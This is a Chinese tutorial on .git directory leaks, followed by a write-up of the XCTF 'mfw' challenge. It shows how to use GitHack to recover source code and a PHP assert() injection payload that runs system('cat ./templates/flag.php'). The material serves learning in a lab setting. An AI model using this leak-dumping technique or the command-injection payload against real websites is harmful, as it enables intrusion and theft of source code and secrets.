.git 文件泄露
当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了
这是一种常见的安全漏洞,指的是网站的 .git
目录被意外暴露在公网上,导致攻击者可以通过访问 .git
目录获取网站的源代码、版本历史、配置文件等敏感信息。这种漏洞通常是由于服务器配置不当或开发人员的疏忽导致的。
如何检测 .git
文件泄露?
-
手动检测:
-
访问
http://example.com/.git/
,如果返回目录列表或 200 状态码,则说明.git
目录可能被泄露。
-
-
工具检测:
使用工具自动检测.git
目录泄露,例如 GitHack,Gittools
安装使用GitHack
github上的githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码
我是在kali中安装使用的,下载链接
git clone https://github.com/BugScanTeam/GitHack
使用前先检查python的版本,githack要在python2中使用,我的kali装的时python3.9,但是kali本身有python2版本,使用命令
python2 GitHack.py 链接/.git
注意下载后文件夹会有一个GitHack文件,使用GitHack前先使用命令 cd GitHack
使用后在GitHack/dist中会有恢复完整的源代码。
攻防世界-WEB-mfw
启动靶机后界面如图
查看源码后发现注释有提示 ?page=flag,尝试后发现不行,然后有用dirsearch扫面
发现了.git,尝试后发现能成功访问,可以证明是git文件泄露,然后用GitHack,payload:
python2 GitHack.py My PHP Website/.git
先看flag.php文件
<?php
// TODO
// $FLAG = '';
?>
啥也没有
再查看index.php文件得到源码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>>Home</li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>>About</li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>>Contact</li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>>My secrets</li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
我们只需要看关键部分即可
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
代码先检查url参数中是否有page参数,并将其赋值给$page,否则$page默认为home,然后再将$page拼接到%$file中
例:若$page=about,则$file=templates/about.php.
下面时对".."过滤防止目录遍历攻击,
strpos
是 PHP 的一个字符串函数,用于查找子字符串在字符串中的位置。如果file中含有".."会返回他的位置(从0开始)若返回的是4,则4===false为假,执行后面的die语句,程序结束。
若不含程序继续执行,然后检查$file是否存在,若不存在执行die语句程序结束。
assert
的参数是一个字符串,PHP会将其作为代码执行。
这就是突破口,利用这个构造payload
?page=').system("cat ./templates/flag.php");//
拼接后的代码为
assert("strpos('templates/').system("cat ./templates/flag.php");// .php', '..') === false");
前面的strpos构成闭合并且为ture,然后执行后面的命令,命令后面的内容被注释掉了不用管
得到flag